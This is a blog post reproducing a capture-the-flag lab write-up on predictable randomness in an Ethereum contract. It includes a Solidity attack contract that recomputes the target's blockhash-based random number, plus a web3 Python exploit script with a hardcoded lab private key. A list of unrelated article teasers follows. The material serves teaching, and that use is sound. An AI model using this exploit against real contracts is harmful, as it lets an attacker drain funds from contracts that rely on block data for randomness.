某60区块链安全之不安全的随机数实战二学习记录

news2024/10/5 17:21:52

区块链安全

文章目录

  • 区块链安全
  • 不安全的随机数实战二
    • 实验目的
    • 实验环境
    • 实验工具
    • 实验原理
    • 实验内容
    • EXP利用


不安全的随机数实战二

实验目的

学会使用python3的web3模块
学会以太坊不安全的随机数漏洞分析及利用

实验环境

Ubuntu18.04操作机

实验工具

python3

实验原理

由于所有以太坊节点在验证交易时,需要计算出相同的结果以达成共识,因此 EVM 本身无法实现真随机数的功能。至于伪随机数,其熵源也是只能是确定值。
EVM 有五个字节码可以获取当前区块的变量,包括 coinbase、timestamp、number、difficulty、gaslimit。这些变量对矿工来说,都是已知或者可操控的,因此在私有链部署的题目中,可以作为恶意的矿工控制随机数的结果。在公开的链如 Ropsten 上,这个方法就不太可行,但我们也可以编写攻击合约,在攻击合约中获取到相同的区块变量值,进一步用相同的算法得到随机数值。

实验内容

找到不安全的随机数漏洞并形成利用
使用python3的web3模块远程利用漏洞并获取flag
实验地址为nc ip 10004

获取合约地址和合约源代码
nc ip 10004连接到题目,输入1,获取部署合约的game account及token
在这里插入图片描述

打开http://ip,输入上述分配的game account,点击Request获取eth
在这里插入图片描述

nc ip 10004连接到题目,输入2,获取部署合约的地址及new token
在这里插入图片描述

nc ip 10004连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
在这里插入图片描述

分析合约源代码漏洞
题目要求把flag设置为true,分析合约代码,需要使balanceOf[msg.sender]=3000
在这里插入图片描述

漏洞主要在于EVM 有五个字节码可以获取当前区块的变量,包括 coinbase、timestamp、number、difficulty、gaslimit,虽然依靠这些变量可以生成随机数,但生成的随机数是伪随机数,本题目中只需要使用第三方合约与其交互,随机数生成使用同样的算法即可,因为第三方合约和其交互的交易会打包到同一区块中,这样便可预测随机数。

EXP利用

编写第三方合约使用和题目相同的算法预测随机数,将下述ETH4的地址换成自己题目合约的地址

contract hack {
    ETH4 target = ETH4(0x1ef792186a9EdBd3366A5804D399924F4A98715f);

    function hack1() public {
        for(uint i=0;i<3;i++){
            uint256 seed = uint256(block.blockhash(block.number-1));
            uint rand = seed % 10;
            target.bet(rand);
        }
    }

    function callsendflag() public {
        target.callsendflag();
    }
}

在这里插入图片描述

调用利用链是先调用hack1(),然后调用callsendflag()即可

编写exp,将这一过程自动化,下述contract_address的地址换成自己题目合约的地址

from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import time

w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))

contract_address = "0xF05B4DAD63660aDaa2A23F4434fd5f30c24d7480"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"

def generate_tx(chainID, to, data, value):
    txn = {
        'chainId': chainID,
        'from': Web3.toChecksumAddress(public),
        'to': to,
        'gasPrice': w3.eth.gasPrice,
        'gas': 3000000,
        'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }
    return txn

def sign_and_send(txn):
    signed_txn = w3.eth.account.signTransaction(txn, private)
    txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
    print("txn_hash=", txn_hash)
    return txn_receipt

set_solc_version_pragma('^0.4.23')
with open('./attack.sol', 'r') as f:
    SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:hack']

txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)

time.sleep(5)

# hack1()
data = Web3.keccak(text='hack1()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
Hack = sign_and_send(txn)
print(Hack)

time.sleep(5)

# callsendflag()
data = Web3.keccak(text='callsendflag()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
Hack = sign_and_send(txn)
print(Hack)

打开命令行执行以下命令切换solc版本
6

运行exp
在这里插入图片描述

nc ip 10004连接到题目,输入3,输入之前的new token,获取flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1232181.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Vue - Router

一、概述 路由 所谓路由&#xff0c;就是决定起点到终点的路径的进程。而在前端工程中&#xff0c;路由指的是根据不同的访问路径&#xff0c;展示不同组件的内容 Vue官方提供的路由功能叫 Vue-Router 二、如何使用 步骤 1、安装vue-router npm install router4 4是指第四个…

网络安全涉及哪些方面?

1.系统安全&#xff1a;运行系统安全即保证信息处理和传输系统的安全。它侧重于保证系统正常运行&#xff0c;避免因为系统的损坏而对系统存储、处理和传输的消息造成破坏和损失&#xff0c;避免由于电磁泄露&#xff0c;产生信息泄露&#xff0c;干扰他人或受他人干扰。 2. 网…

表内容的操作(增删查改)【MySQL】

文章目录 表的 CRUDCreate&#xff08;增加&#xff09;插入记录插入冲突则更新记录替换记录 Retrieve&#xff08;查找&#xff09;查找记录指定表达式的别名为结果去重WHERE 子句运算符条件查询区间查询模糊查询空值查询 对结果排序筛选分页结果 Update&#xff08;修改&…

golang学习笔记——日志记录

文章目录 日志与错误log包记录到文件记录框架Contextual LoggingLeveled LoggingSetting Global Log Level Error Logging 日志与错误 通常&#xff0c;发生错误时&#xff0c;最终用户只会看到一条消息&#xff0c;指示程序出现问题。日志是简单错误消息以外的更多信息。 lo…

助力制造企业降本增效,生成式AI技术大有可为

对于2023年的科技领域来说&#xff0c;生成式AI&#xff08;Artificial Intelligence Generated Content&#xff0c;也称AIGC&#xff09;绝对是最热门的焦点话题&#xff0c;没有之一。 那么对于制造行业来说&#xff0c;他们应该怎样从生成式AI这项新兴技术中获益&#xff1…

python爬虫SHA案例:某直播大数据分析平台

声明&#xff1a; 该文章为学习使用&#xff0c;严禁用于商业用途和非法用途&#xff0c;违者后果自负&#xff0c;由此产生的一切后果均与作者无关 一、找出需要加密的参数 js运行 atob(‘aHR0cDovL3d3dy5oaDEwMjQuY29tLyMvc2VhcmNoL3NlYXJjaA’) 拿到网址&#xff0c;F12打…

VS2019编译安装GDAL(C++)程序库

一、GDAL简介 GDAL&#xff0c;全称Geospatial Data Abstraction Library&#xff0c;即地理空间数据抽象库&#xff0c;是一个在X/MIT许可协议下读写空间数据的开源库&#xff0c;可以通过命令行工具来进行数据的转换和处理。而在调用中我们常用的OGR&#xff08;OpenGIS Simp…

11.20 知识总结(choices参数、MVC和MTV的模式、Django与Ajax技术)

一、 choices参数的使用 1.1 作用 针对某个可以列举完全的可能性字段&#xff0c;我们应该如何存储 .只要某个字段的可能性是可以列举完全的&#xff0c;那么一般情况下都会采用choices参数 1.2 应用场景 应用场景&#xff1a; 学历&#xff1a; 小学 初中 高中 本科 硕士…

【旅游行业】Axure旅游社交平台APP端原型图,攻略门票酒店民宿实战模板

作品概况 页面数量&#xff1a;共 110 页 兼容软件&#xff1a;Axure RP 9/10&#xff0c;不支持低版本 应用领域&#xff1a;旅游平台&#xff0c;酒店住宿 作品申明&#xff1a;页面内容仅用于功能演示&#xff0c;无实际功能 作品特色 本作品为「旅游社交平台」移动端…

什么是希尔伯特空间?

照片由 丹克里斯蒂安佩杜雷什 on Unsplash 一、说明 在本文中&#xff0c;我们将探讨希尔伯特空间这个非常重要的主题。希尔伯特空间由于其特性而经常出现在物理和工程中。为了理解希尔伯特空间&#xff0c;我们从度量空间的定义开始。 二、基础概念 集合是定义明确的元素的集合…

【MySQL】聚合函数、group by、update、delete

聚合函数、group by、update、delete 前言正式开始update将孙悟空同学的数学成绩变更为 80 分将曹孟德同学的数学成绩变更为 60 分&#xff0c;语文成绩变更为 70 分将总成绩倒数前三的 3 位同学的数学成绩加上 30 分将所有同学的语文成绩更新为原来的 2 倍 delete删除孙悟空同…

【miniQMT实盘量化4】获取实时行情数据

前言 上篇&#xff0c;我们介绍了如何获取历史数据&#xff0c;有了历史数据&#xff0c;我们可以进行分析和回测。但&#xff0c;下一步&#xff0c;我们更需要的是实时数据&#xff0c;只有能有效的监控实时行情数据&#xff0c;才能让我们变成市场上的“千里眼&#xff0c;…

手机照片误删解决方法分享

几个要点 1.检查回收站&#xff1a;一些情况下&#xff0c;我们会在删除文件时将它们移动到回收站中&#xff0c;查看回收站中是否有被删除的照片&#xff0c;这样可以直接恢复文件。 2.使用手机自带的恢复功能&#xff1a;一些手机自带照片恢复功能&#xff0c;可尝试在相册…

Sentinel 热点规则 (ParamFlowRule)

Sentinel 是面向分布式、多语言异构化服务架构的流量治理组件&#xff0c;主要以流量为切入点&#xff0c;从流量路由、流量控制、流量整形、熔断降级、系统自适应过载保护、热点流量防护等多个维度来帮助开发者保障微服务的稳定性。 SpringbootDubboNacos 集成 Sentinel&…

二分查找——34. 在排序数组中查找元素的第一个和最后一个位置

文章目录 1. 题目2. 算法原理2.1 暴力解法2.2 二分查找左端点查找右端点查找 3. 代码实现4. 二分模板 1. 题目 题目链接&#xff1a;34. 在排序数组中查找元素的第一个和最后一个位置 - 力扣&#xff08;LeetCode&#xff09; 给你一个按照非递减顺序排列的整数数组 nums&#…

【单片机】实验:数码管显示实验

STC89C5xRC #include <STC89C5xRC.H> unsigned char value[22] {0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F,P,U,T,Y,L,H};//可显示内容 unsigned char led[22] {0x3f,0x06,0x5b,0x4f,0x66,0x6d,0x7d,0x07,0x7f,0x6f,0x77,0x7c,0x39,0x5e,0x79,0x71,0x73,0x3E,0x31,0x6E,0x38,0x7…

万字长文 - Python 日志记录器logging 百科全书 - 高级配置之 日志分层

万字长文 - Python 日志记录器logging 百科全书 - 高级配置之 日志分层 前言 在 Python 的logging模块中&#xff0c;它不仅提供了基础的日志功能&#xff0c;还拥有一系列高级配置选项来满足复杂应用的日志管理需求。 说到logging 模块的高级配置&#xff0c;必须提及日志分…

【代码随想录】刷题笔记Day32

前言 实在不想做项目&#xff0c;周末和npy聊了就业的焦虑&#xff0c;今天多花点时间刷题&#xff01;刷刷刷刷&#xff01; 93. 复原 IP 地址 - 力扣&#xff08;LeetCode&#xff09; 分割startindex类似上一题&#xff0c;难点在于&#xff1a;判断子串合法性(0~255)、&…

C语言之sizeof 和 strlen 详细介绍

C语言之sizeof 和 strlen 文章目录 C语言之sizeof 和 strlen1. sizeof 和 strlen 的比较1.1 sizeof1.2 strlen1.3 sizeof 和 strlen 的对比 2. 练习2.1.1 一维数组2.1.2 字符数组 1. sizeof 和 strlen 的比较 1.1 sizeof sizeof是C语言中的一个关键字&#xff0c;计算的是变量…

国产高云FPGA:纯verilog实现视频图像缩放,提供6套Gowin工程源码和技术支持

目录 1、前言免责声明 2、相关方案推荐国产高云FPGA相关方案推荐国产高云FPGA基础教程 3、设计思路框架视频源选择OV5640摄像头配置及采集动态彩条跨时钟FIFO图像缩放模块详解设计框图代码框图2种插值算法的整合与选择 Video Frame Buffer 图像缓存DDR3 Memory Interface 4、Go…